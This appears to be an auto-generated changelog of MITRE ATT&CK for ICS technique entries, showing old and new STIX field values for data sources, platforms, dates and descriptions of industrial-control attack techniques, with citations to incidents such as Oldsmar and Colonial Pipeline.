| x_mitre_data_sources[1] | Network protocol analysis | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[2] | Packet capture | Application Log: Application Log Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Termination | |
| x_mitre_data_sources | Operational Databases: Process History/Live Data | |
| x_mitre_data_sources | Operational Databases: Process/Event Alarm | |
| x_mitre_platforms | Device Configuration/Parameters |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 13:04:01.612000+00:00 |
| x_mitre_data_sources[0] | Alarm History | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Data historian | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[2] | Network protocol analysis | Application Log: Application Log Content |
| x_mitre_data_sources[3] | Packet capture | Process: Process Termination |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Operational Databases: Process History/Live Data | |
| x_mitre_data_sources | Operational Databases: Process/Event Alarm | |
| x_mitre_platforms | Device Configuration/Parameters |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 13:04:01.612000+00:00 |
| x_mitre_data_sources[0] | Alarm history | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Data historian | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[2] | Network protocol analysis | Application Log: Application Log Content |
| x_mitre_data_sources[3] | Packet capture | Process: Process Termination |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Operational Databases: Process History/Live Data | |
| x_mitre_data_sources | Operational Databases: Process/Event Alarm | |
| x_mitre_platforms | Device Configuration/Parameters |
Current version: 0.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may brute force I/O addresses on a device and at | t | 1 | Adversaries may repetitively or successively change I/O poin |
| > | tempt to exhaustively perform an action. By enumerating the | > | t values to perform an action. Brute Force I/O may be achiev | ||
| > | full range of I/O addresses, an adversary may manipulate a p | > | ed by changing either a range of I/O point values or a singl | ||
| > | rocess function without having to target specific I/O interf | > | e point value repeatedly to manipulate a process function. T | ||
| > | aces. More than one process function manipulation and enumer | > | he adversary’s goal and the information they have about the | ||
| > | ation pass may occur on the targeted I/O range in a brute fo | > | target environment will influence which of the options they | ||
| > | rce attempt. | > | choose. In the case of brute forcing a range of point values | ||
| > | , the adversary may be able to achieve an impact without tar | ||||
| > | geting a specific point. In the case where a single point is | ||||
| > | targeted, the adversary may be able to generate instability | ||||
| > | on the process function associated with that particular poi | ||||
| > | nt. Adversaries may use Brute Force I/O to cause failures w | ||||
| > | ithin various industrial processes. These failures could be | ||||
| > | the result of wear on equipment, or damage to downstream equ | ||||
| > | ipment. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-14 13:04:01.612000+00:00 |
| description | Adversaries may brute force I/O addresses on a device and attempt to exhaustively perform an action. By enumerating the full range of I/O addresses, an adversary may manipulate a process function without having to target specific I/O interfaces. More than one process function manipulation and enumeration pass may occur on the targeted I/O range in a brute force attempt. | Adversaries may repetitively or successively change I/O point values to perform an action. Brute Force I/O may be achieved by changing either a range of I/O point values or a single point value repeatedly to manipulate a process function. The adversary’s goal and the information they have about the target environment will influence which of the options they choose. In the case of brute forcing a range of point values, the adversary may be able to achieve an impact without targeting a specific point. In the case where a single point is targeted, the adversary may be able to generate instability on the process function associated with that particular point. Adversaries may use Brute Force I/O to cause failures within various industrial processes. These failures could be the result of wear on equipment, or damage to downstream equipment. |
| x_mitre_data_sources[0] | Alarm history | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Sequential event recorder | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Data historian | Operational Databases: Process History/Live Data |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Netflow/Enclave netflow | |
| x_mitre_data_sources | Network protocol analysis | |
| x_mitre_data_sources | Packet capture |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-13 11:42:26.506000+00:00 | 2021-10-08 13:04:01.612000+00:00 |
| x_mitre_data_sources[0] | Alarm history | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Sequential event recorder | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Network protocol analysis | Operational Databases: Device Alarm |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Packet capture |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 13:04:01.612000+00:00 |
| x_mitre_data_sources[0] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[2] | Network protocol analysis | Module: Module Load |
| x_mitre_data_sources[3] | Packet capture | Process: Process Creation |
| x_mitre_platforms[0] | Windows | Control Server |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Script: Script Execution | |
| x_mitre_platforms | Data Historian | |
| x_mitre_platforms | Field Controller/RTU/PLC/IED | |
| x_mitre_platforms | Human-Machine Interface | |
| x_mitre_platforms | Input/Output Server |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Flow'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 13:04:01.612000+00:00 |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 13:04:01.612000+00:00 |
| x_mitre_data_sources[0] | Process use of network | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[1] | Process monitoring | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[2] | Packet capture | Network Traffic: Network Traffic Flow |
| x_mitre_platforms[0] | Windows | None |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Netflow/Enclave netflow | |
| x_mitre_data_sources | Network protocol analysis |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 13:04:01.612000+00:00 |
| x_mitre_platforms[0] | Windows | None |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 13:04:01.612000+00:00 |
| x_mitre_data_sources[0] | File monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Process command-line parameters | File: File Deletion |
| x_mitre_data_sources[2] | Process monitoring | File: File Modification |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Creation |
Current version: 0.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may target and collect data from information rep | t | 1 | Adversaries may target and collect data from information rep |
| > | ositories. This can include sensitive data such as specifica | > | ositories. This can include sensitive data such as specifica | ||
| > | tions, schematics, or diagrams of control system layouts, de | > | tions, schematics, or diagrams of control system layouts, de | ||
| > | vices, and processes. Examples of information repositories i | > | vices, and processes. Examples of information repositories i | ||
| > | nclude reference databases or local machines in the process | > | nclude reference databases or local machines in the process | ||
| > | environment, as well as workstations and databases in the co | > | environment, as well as workstations and databases in the co | ||
| > | rporate network that might contain information about the ICS | > | rporate network that might contain information about the ICS | ||
| > | . Information collected from these systems may provide the a | > | . Information collected from these systems may provide the a | ||
| > | dversary with a better understanding of the operational envi | > | dversary with a better understanding of the operational envi | ||
| > | ronment, vendors used, processes, or procedures of the ICS. | > | ronment, vendors used, processes, or procedures of the ICS. | ||
| > | In a campaign between 2011 and 2013 against ONG organization | ||||
| > | s, Chinese state-sponsored actors searched document reposito | ||||
| > | ries for specific information such as, system manuals, remot | ||||
| > | e terminal unit (RTU) sites, personnel lists, documents that | ||||
| > | included the string “SCAD*”, user credentials, and remote d | ||||
| > | ial-up access information.(Citation: CISA Chinese Gas Pipeli | ||||
| > | ne Intrusion 2011 - 2013 July 2021) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-12 16:35:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| description | Adversaries may target and collect data from information repositories. This can include sensitive data such as specifications, schematics, or diagrams of control system layouts, devices, and processes. Examples of information repositories include reference databases or local machines in the process environment, as well as workstations and databases in the corporate network that might contain information about the ICS. Information collected from these systems may provide the adversary with a better understanding of the operational environment, vendors used, processes, or procedures of the ICS. | Adversaries may target and collect data from information repositories. This can include sensitive data such as specifications, schematics, or diagrams of control system layouts, devices, and processes. Examples of information repositories include reference databases or local machines in the process environment, as well as workstations and databases in the corporate network that might contain information about the ICS. Information collected from these systems may provide the adversary with a better understanding of the operational environment, vendors used, processes, or procedures of the ICS. In a campaign between 2011 and 2013 against ONG organizations, Chinese state-sponsored actors searched document repositories for specific information such as, system manuals, remote terminal unit (RTU) sites, personnel lists, documents that included the string “SCAD*”, user credentials, and remote dial-up access information.(Citation: CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021) |
| x_mitre_data_sources[0] | Application logs | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Authentication logs | Logon Session: Logon Session Creation |
| x_mitre_data_sources[2] | Data loss prevention | File: File Access |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021', 'description': 'ONG2011 - DHS Advisory - Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA). (2021, July 20). Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013. Retrieved October 8, 2021.', 'url': 'https://us-cert.cisa.gov/sites/default/files/publications/AA21-201A_Chinese_Gas_Pipeline_Intrusion_Campaign_2011_to_2013%20(1).pdf'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Third-party application logs |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | Authentication logs | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Windows event logs | Logon Session: Logon Session Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network protocol analysis | |
| x_mitre_data_sources | Packet capture |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | Alarm history | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Data historian | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[2] | Network protocol analysis | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[3] | Packet capture | Operational Databases: Process History/Live Data |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Sequential event recorder |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-13 11:39:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | Network protocol analysis | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Packet capture |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | Sequential event recorder | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Alarm history | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Network protocol analysis | Operational Databases: Device Alarm |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Packet capture |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | Packet capture | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Network device logs | File: File Creation |
| x_mitre_data_sources[2] | process use of network | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[3] | Web proxy | Process: Process Creation |
| x_mitre_platforms[0] | Windows | None |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | SSl/TLS inspection | |
| x_mitre_data_sources | Network intrusion detection system |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | API monitoring | Module: Module Load |
| x_mitre_data_sources[1] | Network protocol analysis | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Packet capture |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | Web logs | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Web application firewall logs | Network Traffic: Network Traffic Content |
| x_mitre_platforms[0] | Windows | Human-Machine Interface |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Application logs | |
| x_mitre_data_sources | Packet capture |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Detonation chamber', 'Malware reverse engineering'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: OS API Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-13 12:08:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-12 19:17:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | Windows error reporting | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Process monitoring | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File monitoring |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | Authentication logs | Application Log: Application Log Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Logon Session: Logon Session Metadata | |
| x_mitre_data_sources | Network Traffic: Network Traffic Flow |
Current version: 0.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to gain access to a machine via a Gr | t | 1 | Adversaries may attempt to gain access to a machine via a Gr |
| > | aphical User Interface (GUI) to enhance execution capabiliti | > | aphical User Interface (GUI) to enhance execution capabiliti | ||
| > | es. Access to a GUI allows a user to interact with a compute | > | es. Access to a GUI allows a user to interact with a compute | ||
| > | r in a more visual manner than a CLI. A GUI allows users to | > | r in a more visual manner than a CLI. A GUI allows users to | ||
| > | move a cursor and click on interface objects, with a mouse a | > | move a cursor and click on interface objects, with a mouse a | ||
| > | nd keyboard as the main input devices, as opposed to just us | > | nd keyboard as the main input devices, as opposed to just us | ||
| > | ing the keyboard. If physical access is not an option, then | > | ing the keyboard. If physical access is not an option, then | ||
| > | access might be possible via protocols such as VNC on Linux- | > | access might be possible via protocols such as VNC on Linux- | ||
| > | based and Unix-based operating systems, and RDP on Windows o | > | based and Unix-based operating systems, and RDP on Windows o | ||
| > | perating systems. An adversary can use this access to execut | > | perating systems. An adversary can use this access to execut | ||
| > | e programs and applications on the target machine. | > | e programs and applications on the target machine. In the O | ||
| > | ldsmar water treatment attack, adversaries utilized the oper | ||||
| > | ator HMI interface through the graphical user interface. Thi | ||||
| > | s action led to immediate operator detection as they were ab | ||||
| > | le to see the adversary making changes on their screen. (Cit | ||||
| > | ation: Oldsmar Water Treatment Attack Feb 2021) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-14 15:25:32.143000+00:00 |
| description | Adversaries may attempt to gain access to a machine via a Graphical User Interface (GUI) to enhance execution capabilities. Access to a GUI allows a user to interact with a computer in a more visual manner than a CLI. A GUI allows users to move a cursor and click on interface objects, with a mouse and keyboard as the main input devices, as opposed to just using the keyboard. If physical access is not an option, then access might be possible via protocols such as VNC on Linux-based and Unix-based operating systems, and RDP on Windows operating systems. An adversary can use this access to execute programs and applications on the target machine. | Adversaries may attempt to gain access to a machine via a Graphical User Interface (GUI) to enhance execution capabilities. Access to a GUI allows a user to interact with a computer in a more visual manner than a CLI. A GUI allows users to move a cursor and click on interface objects, with a mouse and keyboard as the main input devices, as opposed to just using the keyboard. If physical access is not an option, then access might be possible via protocols such as VNC on Linux-based and Unix-based operating systems, and RDP on Windows operating systems. An adversary can use this access to execute programs and applications on the target machine. In the Oldsmar water treatment attack, adversaries utilized the operator HMI interface through the graphical user interface. This action led to immediate operator detection as they were able to see the adversary making changes on their screen. (Citation: Oldsmar Water Treatment Attack Feb 2021) |
| x_mitre_data_sources[0] | File monitoring | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Process monitoring | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[2] | Process command-line parameters | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Oldsmar Water Treatment Attack Feb 2021', 'description': 'Pinellas County Sheriff’s Office. (2021, February 8). Treatment Plant Intrusion Press Conference. Retrieved October 8, 2021.', 'url': 'https://www.youtube.com/watch?v=MkXDSOgLQ6M'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Binary file metadata |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | File monitoring | File: File Modification |
| x_mitre_data_sources[1] | Windows registry | Module: Module Load |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | API monitoring | |
| x_mitre_platforms | Windows |
Current version: 0.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may seek to capture process image values related | t | 1 | Adversaries may seek to capture process image values related |
| > | to the inputs and outputs of a PLC. Within a PLC all input | > | to the inputs and outputs of a PLC. Within a PLC all input | ||
| > | and output states are stored into an I/O image. This image i | > | and output states are stored into an I/O image. This image i | ||
| > | s used by the user program instead of directly interacting w | > | s used by the user program instead of directly interacting w | ||
| > | ith physical I/O. (Citation: PLC-Blaster 2) | > | ith physical I/O. (Citation: PLC-Blaster 2) Adversaries may | ||
| > | collect the I/O Image state of a PLC by utilizing a device’s | ||||
| > | Native API to access the memory regions directly. The colle | ||||
| > | ction of the PLC’s I/O state could be used to replace values | ||||
| > | or inform future stages of an attack. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-14 15:25:32.143000+00:00 |
| description | Adversaries may seek to capture process image values related to the inputs and outputs of a PLC. Within a PLC all input and output states are stored into an I/O image. This image is used by the user program instead of directly interacting with physical I/O. (Citation: PLC-Blaster 2) | Adversaries may seek to capture process image values related to the inputs and outputs of a PLC. Within a PLC all input and output states are stored into an I/O image. This image is used by the user program instead of directly interacting with physical I/O. (Citation: PLC-Blaster 2) Adversaries may collect the I/O Image state of a PLC by utilizing a device’s Native API to access the memory regions directly. The collection of the PLC’s I/O state could be used to replace values or inform future stages of an attack. |
| x_mitre_data_sources[0] | Controller program | Asset: Software/Firmware |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Stuxnet - Symantec - 201102', 'description': 'Nicolas Falliere, Liam O Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier (Version 1.4). Retrieved September 22, 2017.', 'url': 'https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20stuxnet%20dossier.pdf'} |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | File monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | File: File Deletion |
| x_mitre_data_sources[2] | Process command-line parameters | File: File Metadata |
| x_mitre_data_sources[3] | API monitoring | File: File Modification |
| x_mitre_data_sources[4] | Windows event logs | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: OS API Execution | |
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_data_sources | User Account: User Account Authentication | |
| x_mitre_data_sources | Windows Registry: Windows Registry Key Deletion | |
| x_mitre_data_sources | Windows Registry: Windows Registry Key Modification |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | Authentication logs | Network Traffic: Network Traffic Flow |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network Traffic: Network Traffic Content | |
| x_mitre_data_sources | Logon Session: Logon Session Metadata |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-12 16:19:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | File monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Packet capture | File: File Creation |
| x_mitre_data_sources[2] | Process use of network | File: File Metadata |
| x_mitre_data_sources[3] | Process monitoring | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[4] | Netflow/Enclave netflow | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[5] | Network protocol analysis | Process: Process Creation |
Current version: 0.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to disrupt essential components or s | t | 1 | Adversaries may attempt to disrupt essential components or s |
| > | ystems to prevent owner and operator from delivering product | > | ystems to prevent owner and operator from delivering product | ||
| > | s or services. (Citation: Reference - Corero) (Citation: Ref | > | s or services. (Citation: Reference - Corero) (Citation: Ref | ||
| > | erence - SANS - 201510) (Citation: Reference - RIoT) Adver | > | erence - SANS - 201510) (Citation: Reference - RIoT) Adver | ||
| > | saries may leverage malware to delete or encrypt critical da | > | saries may leverage malware to delete or encrypt critical da | ||
| > | ta on HMIs, workstations, or databases. | > | ta on HMIs, workstations, or databases. In the 2021 Colonial | ||
| > | Pipeline ransomware incident, pipeline operations were temp | ||||
| > | orally halted on May 7th and were not fully restarted until | ||||
| > | May 12th. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| description | Adversaries may attempt to disrupt essential components or systems to prevent owner and operator from delivering products or services. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) Adversaries may leverage malware to delete or encrypt critical data on HMIs, workstations, or databases. | Adversaries may attempt to disrupt essential components or systems to prevent owner and operator from delivering products or services. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) Adversaries may leverage malware to delete or encrypt critical data on HMIs, workstations, or databases. In the 2021 Colonial Pipeline ransomware incident, pipeline operations were temporally halted on May 7th and were not fully restarted until May 12th. |
Current version: 0.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may cause loss of productivity and revenue throu | t | 1 | Adversaries may cause loss of productivity and revenue throu |
| > | gh disruption and even damage to the availability and integr | > | gh disruption and even damage to the availability and integr | ||
| > | ity of control system operations, devices, and related proce | > | ity of control system operations, devices, and related proce | ||
| > | sses. This technique may manifest as a direct effect of an I | > | sses. This technique may manifest as a direct effect of an I | ||
| > | CS-targeting attack or tangentially, due to an IT-targeting | > | CS-targeting attack or tangentially, due to an IT-targeting | ||
| > | attack against non-segregated environments. In some cases, t | > | attack against non-segregated environments. In cases where | ||
| > | his may result from the postponement and disruption of ICS o | > | these operations or services are brought to a halt, the loss | ||
| > | perations and production as part of a remediation effort. Op | > | of productivity may eventually present an impact for the en | ||
| > | erations may be brought to a halt and effectively stopped in | > | d-users or consumers of products and services. The disrupted | ||
| > | an effort to contain and properly remove malware or due to | > | supply-chain may result in supply shortages and increased p | ||
| > | the <span class="smw-format list-format "><span class="smw-r | > | rices, among other consequences. A ransomware attack on an | ||
| > | ow"><span class="smw-field"><span class="smw-value">Loss of | > | Australian beverage company resulted in the shutdown of some | ||
| > | Safety</span></span></span></span>. | > | manufacturing sites, including precautionary halts to prote | ||
| > | ct key systems. (Citation: Distrupted Operations at Lion Com | ||||
| > | pany June 2020) The company announced the potential for temp | ||||
| > | orary shortages of their products following the attack. (Cit | ||||
| > | ation: Distrupted Operations at Lion Company June 2020) (Cit | ||||
| > | ation: Lion Cyber Incident June 2020) In the 2021 Colonial | ||||
| > | Pipeline ransomware incident, the pipeline was unable to tra | ||||
| > | nsport approximately 2.5 million barrels of fuel per day to | ||||
| > | the East Coast. (Citation: Colonial Pipeline System Distrupt | ||||
| > | ion May 2021) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-14 15:25:32.143000+00:00 |
| description | Adversaries may cause loss of productivity and revenue through disruption and even damage to the availability and integrity of control system operations, devices, and related processes. This technique may manifest as a direct effect of an ICS-targeting attack or tangentially, due to an IT-targeting attack against non-segregated environments. In some cases, this may result from the postponement and disruption of ICS operations and production as part of a remediation effort. Operations may be brought to a halt and effectively stopped in an effort to contain and properly remove malware or due to the Loss of Safety. | Adversaries may cause loss of productivity and revenue through disruption and even damage to the availability and integrity of control system operations, devices, and related processes. This technique may manifest as a direct effect of an ICS-targeting attack or tangentially, due to an IT-targeting attack against non-segregated environments. In cases where these operations or services are brought to a halt, the loss of productivity may eventually present an impact for the end-users or consumers of products and services. The disrupted supply-chain may result in supply shortages and increased prices, among other consequences. A ransomware attack on an Australian beverage company resulted in the shutdown of some manufacturing sites, including precautionary halts to protect key systems. (Citation: Distrupted Operations at Lion Company June 2020) The company announced the potential for temporary shortages of their products following the attack. (Citation: Distrupted Operations at Lion Company June 2020) (Citation: Lion Cyber Incident June 2020) In the 2021 Colonial Pipeline ransomware incident, the pipeline was unable to transport approximately 2.5 million barrels of fuel per day to the East Coast. (Citation: Colonial Pipeline System Distruption May 2021) |
| x_mitre_platforms[0] | Windows | None |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Distrupted Operations at Lion Company June 2020', 'description': 'Paganini, Pierluigi. (2020, June 14). Ransomware attack disrupts operations at Australian beverage company Lion. Retrieved October 8, 2021.', 'url': 'https://securityaffairs.co/wordpress/104749/cyber-crime/ransomware-attack-hit-lion.html'} | |
| external_references | {'source_name': 'Lion Cyber Incident June 2020', 'description': 'Lion Corporation. (2020, June 26). Lion Cyber incident update: 26 June 2020. Retrieved October 8, 2021.', 'url': 'https://lionco.com/2020/06/26/lion-update-re-cyber-issue/'} | |
| external_references | {'source_name': 'Colonial Pipeline System Distruption May 2021', 'description': 'Colonial Pipeline Company. (2021, May). Media Statement Update: Colonial Pipeline System Disruption. Retrieved October 8, 2021.', 'url': 'https://www.colpipe.com/news/press-releases/media-statement-colonial-pipeline-system-disruption'} |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-04-12 07:57:26.506000+00:00 |
| x_mitre_platforms[0] | Windows | None |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-04-12 07:57:26.506000+00:00 |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-12 15:35:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | Network device logs | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Netflow/Enclave netflow | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[2] | Packet capture | Process: OS API Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_data_sources | Command: Command Execution |
Current version: 0.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may manipulate the I/O image of PLCs through var | t | 1 | Adversaries may manipulate the I/O image of PLCs through var |
| > | ious means to prevent them from functioning as expected. Met | > | ious means to prevent them from functioning as expected. Met | ||
| > | hods of I/O image manipulation may include overriding the I/ | > | hods of I/O image manipulation may include overriding the I/ | ||
| > | O table via direct memory manipulation or using the override | > | O table via direct memory manipulation or using the override | ||
| > | function used for testing PLC programs. (Citation: Guidance | > | function used for testing PLC programs. (Citation: Guidance | ||
| > | - ISA PLC) During the PLC scan cycle, the state of the a | > | - ISA PLC) During the scan cycle, a PLC reads the status | ||
| > | ctual physical inputs is copied to a portion of the PLC memo | > | of all inputs and stores them in an image table.2 The image | ||
| > | ry, commonly called the input image table. When the program | > | table is the PLC’s internal storage location where values o | ||
| > | is scanned, it examines the input image table to read the st | > | f inputs/outputs for one scan are stored while it executes t | ||
| > | ate of a physical input. When the logic determines the sta | > | he user program. After the PLC has solved the entire logic p | ||
| > | te of a physical output, it writes to a portion of the PLC m | > | rogram, it updates the output image table. The contents of t | ||
| > | emory commonly called the output image table. The output ima | > | his output image table are written to the corresponding outp | ||
| > | ge may also be examined during the program scan. To update t | > | ut points in I/O Modules. One of the unique characteristics | ||
